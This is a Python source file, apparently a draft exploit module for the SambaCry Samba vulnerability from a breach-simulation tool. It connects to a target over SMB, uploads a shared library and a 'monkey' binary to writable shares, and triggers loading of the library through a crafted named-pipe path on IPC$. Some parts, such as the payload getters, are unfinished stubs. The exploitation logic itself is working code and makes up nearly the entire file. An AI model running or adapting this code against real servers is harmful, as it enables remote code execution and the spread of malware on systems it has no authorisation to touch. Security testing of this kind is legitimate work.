230 lines
9.3 KiB
Python
230 lines
9.3 KiB
Python
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from optparse import OptionParser
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from impacket.dcerpc.v5 import transport
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from os import path
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from impacket.smbconnection import SMBConnection
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from impacket.smb import SessionError
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from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
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from impacket.nt_errors import STATUS_SUCCESS
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from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
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FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
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from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
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SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
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__author__ = 'itay.mizeretz'
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# TODO: add documentation
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# TODO: add author
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# TODO: add logs
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# TODO: add exception handling
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# TODO: remove /home/user
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# TODO: take all from config
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FOLDER_PATHS_TO_GUESS = ['/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '', '/home/user']
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RUNNER_FILENAME = "monkey_runner.so"
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COMMANDLINE_FILENAME = "monkey_commandline.txt"
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MONKEY_FILENAME = "monkey"
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def main():
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parser = OptionParser()
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parser.add_option("-t", "--target", dest="target")
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(options, args) = parser.parse_args()
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if options.target:
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exploiter = SambaCryExploiter()
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exploiter.exploit(options.target)
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else:
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parser.print_help()
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# TODO: inherit from HostExploiter
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class SambaCryExploiter:
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_target_os_type = ['linux']
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def __init__(self):
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self.module_binary = ""
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def exploit(self, ip):
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self.assert_smb_version()
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writable_shares = []
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credentials_list = self.get_credentials_list()
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for credentials in credentials_list:
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smb_client = self.connect_to_server(ip, credentials)
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shares = self.list_shares(smb_client)
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for share in shares:
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if self.upload_module(smb_client, share):
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writable_shares.append(share)
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self.trigger_module(smb_client, share)
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# TODO: delete remains
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smb_client.logoff()
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def get_credentials_list(self):
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# TODO: get credentials from config
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return [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
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def list_shares(self, smb_client):
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shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
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shares.remove("IPC$")
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return shares
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def assert_smb_version(self):
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# TODO: implement
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pass
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def upload_module(self, smb_client, share):
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try:
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tree_id = smb_client.connectTree(share)
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smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, self.get_monkey_commandline)
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smb_client.putFile(share, "\\%s" % RUNNER_FILENAME, self.get_monkey_runner_bin)
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smb_client.putFile(share, "\\%s" % MONKEY_FILENAME, self.get_monkey_bin)
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smb_client.disconnectTree(tree_id)
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return True
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except SessionError as e:
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if str(e).find('STATUS_ACCESS_DENIED') >= 0:
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return False
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raise
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def connect_to_server(self, ip, credentials):
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"""
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Connects to server using given credentials
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:param ip: IP of server
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:param credentials: credentials to log in with
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:return: SMBConnection object representing the connection
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"""
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smb_client = SMBConnection(ip, ip)
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smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
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return smb_client
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def trigger_module(self, smb_client, share_name):
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trigger_might_succeeded = False
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module_possible_paths = self.generate_module_possible_paths(share_name)
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for module_path in module_possible_paths:
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trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
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return trigger_might_succeeded
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def trigger_module_by_path(self, smb_client, module_path):
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"""
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Tries triggering module by path
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:param smb_client: smb client object
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:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
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:return: False on unexpected exception. True otherwise
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"""
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try:
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# the extra / on the beginning is required for the vulnerability
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self.openPipe(smb_client, "/" + module_path)
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except SessionError as e:
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# This is the expected result. We can't tell whether we succeeded or not just by this error code.
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if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
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return False
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return True
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def generate_module_possible_paths(self, share_name):
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"""
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Generates array of possible paths
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:param share_name: Name of the share
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:return: Array of possible full paths to the module.
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"""
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return (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME)) for folder_path in FOLDER_PATHS_TO_GUESS)
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@staticmethod
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def get_monkey_bin():
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# TODO
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pass
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@staticmethod
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def get_monkey_runner_bin():
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# TODO
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pass
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@staticmethod
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def get_monkey_commandline():
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# TODO
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pass
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# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
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def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes,
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impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
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createContexts=None):
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packet = smb_client.getSMBServer().SMB_PACKET()
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packet['Command'] = SMB2_CREATE
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packet['TreeID'] = treeId
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if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
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packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
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smb2Create = SMB2Create()
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smb2Create['SecurityFlags'] = 0
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smb2Create['RequestedOplockLevel'] = oplockLevel
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smb2Create['ImpersonationLevel'] = impersonationLevel
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smb2Create['DesiredAccess'] = desiredAccess
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smb2Create['FileAttributes'] = fileAttributes
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smb2Create['ShareAccess'] = shareMode
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smb2Create['CreateDisposition'] = creationDisposition
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smb2Create['CreateOptions'] = creationOptions
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smb2Create['NameLength'] = len(fileName) * 2
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if fileName != '':
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smb2Create['Buffer'] = fileName.encode('utf-16le')
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else:
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smb2Create['Buffer'] = '\x00'
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if createContexts is not None:
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smb2Create['Buffer'] += createContexts
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smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
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smb2Create['CreateContextsLength'] = len(createContexts)
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else:
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smb2Create['CreateContextsOffset'] = 0
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smb2Create['CreateContextsLength'] = 0
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packet['Data'] = smb2Create
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packetID = smb_client.getSMBServer().sendSMB(packet)
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ans = smb_client.getSMBServer().recvSMB(packetID)
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if ans.isValidAnswer(STATUS_SUCCESS):
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createResponse = SMB2Create_Response(ans['Data'])
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# The client MUST generate a handle for the Open, and it MUST
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# return success and the generated handle to the calling application.
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# In our case, str(FileID)
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return str(createResponse['FileID'])
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def openPipe(self, smb_client, pathName):
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# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
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# to make things easier for the caller. Not this time ;)
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treeId = smb_client.connectTree('IPC$')
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# TODO: uncomment
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#logging.info('Final path to load is %s' % pathName)
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#logging.info('Triggering bug now, cross your fingers')
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if smb_client.getDialect() == SMB_DIALECT:
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_, flags2 = smb_client.getSMBServer().get_flags()
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pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
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ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
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ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
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ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
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ntCreate['Parameters']['FileNameLength'] = len(pathName)
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ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
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ntCreate['Parameters']['FileAttributes'] = 0
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ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
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ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
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ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
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ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
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ntCreate['Parameters']['SecurityFlags'] = 0
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ntCreate['Parameters']['CreateFlags'] = 0x16
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ntCreate['Data']['FileName'] = pathName
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if flags2 & SMB.FLAGS2_UNICODE:
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ntCreate['Data']['Pad'] = 0x0
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return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
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else:
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return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
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creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
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if __name__=="__main__":
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main()
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